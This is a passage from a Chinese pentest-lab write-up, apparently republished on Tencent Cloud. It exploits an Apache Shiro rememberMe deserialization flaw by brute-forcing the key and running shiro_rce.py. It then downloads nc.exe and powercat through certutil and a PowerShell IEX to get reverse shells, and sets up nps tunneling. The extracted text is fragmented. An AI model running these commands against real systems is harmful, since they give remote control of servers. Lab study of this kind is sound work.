背景:最近公司的师傅丢了个内网渗透的靶场让我们玩,需要通过对外映射的Web服务打进去。一开始看到是一个JeeCMS的站点,直接弱口令就进了后台。但是瞎搞一通都拿不到Shell。搜索了一番才知道原来方向错了,其实是一个Shiro反序列化的漏洞。
Shiro
使用 CookieRememberMeManager
这个类对Cookie中的 remeberMe
进行 序列化 => 使用密钥进行AES加密 => Base64编码
,最后返回客户端 remebreme Cookie
。在识别用户身份时需要对 rememberMe
进行 Base64解码 => 使用密钥进行AES解密 =>Java反序列化
。remember Me
字段发送。Shiro将其进行解密并且反序列化,即可造成反序列化漏洞。rememberMe=deleteMe
字段。admin/password
,并勾选 记住用户
,然后登录并抓包。4Av.CommonsBeanutils1.tbxcqv.ceye.io
,其中的 4Av
对应右侧Key,即 4AvVhmFLUs0KTA3Kprsdag==
。利用链模块为 CommonsBeanutils1
Shiro-rce
来一把梭。注意需要修改一下 Awesome_Shiro\shiro-rce\shiro_rce.py
文件
CommonsBeanutils1
改为爆破成功用的模块。前面爆破得到的也是 CommonsBeanutils1
,所以这里不用改kPH+bIxk5D2deZiIxcaaaA==
修改为爆破得到的Key,这里改为 4AvVhmFLUs0KTA3Kprsdag==
$ python shiro_rce.py http://10.2.11.253:8088/ "ping test.tbxcqv.ceye.io"
一开始没有注意靶机的操作系统,这里是Windows。直接用工具里的脚本和网上的POC将靶机当作Linux打了半天。。。
$ python -m http.server 80 # Python3
$ python -m SimpleHTTPServer 80 # Python2
$ nc -lvvp 8765
nc.exe
或者 powercat.ps1
# Netcat
$ python shiro_rce.py http://10.2.11.253:8088/ "certutil.exe -urlcache -split -f http://<攻击机IP>/nc.exe 1.exe"
$ python shiro_rce.py http://10.2.11.253:8088/ "1.exe <攻击机IP> <攻击机监听端口> -e cmd.exe"
# Powercat
$ python shiro_rce.py http://10.2.11.253:8088/ "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://<攻击机IP>/powercat.ps1');powercat -c <攻击机IP> -p <攻击机监听端口> -e cmd"
Server
端,配置文件 nps/conf/nps.conf
admin/123
,可在配置文件中修改80,443,8080,8024
端口,若被占用会启动失败,可在配置文件中修改Client
端,并上传到服务器$ certutil.exe -urlcache -split -f http://<攻击机IP>:<端口>/npc.exe
$ ./npc.exe -server=<攻击机IP>:<端口> -vkey=<Web界面中显示的密钥>
HTTP
或 Socks
代理即可Maven 是一个项目管理工具,可以对 Java 项目进行构建、依赖管理。Maven基于项目对象模型(POM project object model),可以通过一小段描述信息来管理项目的构建,报告和文档的软件项目管理工具(百度百科)。
$ cd /usr/local/ && mkdir maven && cd maven/
$ wget http://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
$ tar -zxvf apache-maven-3.6.3-bin.tar.gz # 解压
$ cd apache-maven-3.6.3/conf/
$ vim settings.xml # 修改配置文件
<localRepository>/path/to/local/repo</localRepository>
,修改为:<localRepository>/usr/local/repo</localRepository>
</mirrors>
前添加阿里云仓库<mirror>
<id>nexus-aliyun</id>
<mirrorOf>*</mirrorOf>
<name>Nexus aliyun</name>
<url>http://maven.aliyun.com/nexus/content/groups/public</url>
</mirror>
$ vim /etc/profile
# 文件末尾加入
export MAVEN_HOME=/usr/local/maven/apache-maven-3.6.3
export PATH=${PATH}:${MAVEN_HOME}/bin
$ source /etc/profile
$ mvn -v echo $MAVEN_HOME
$ which mvn # 查看mvn工具的位置/usr/local/maven/bin/mvn
$ mvn -version # 查看maven版本
ysoseria是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。
ysoserial-0.0.6-SNAPSHOT-all.jar
文件$ git clone https://github.com/frohoff/ysoserial.git
$ cd ysoserial
$ mvn package -D skipTests
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有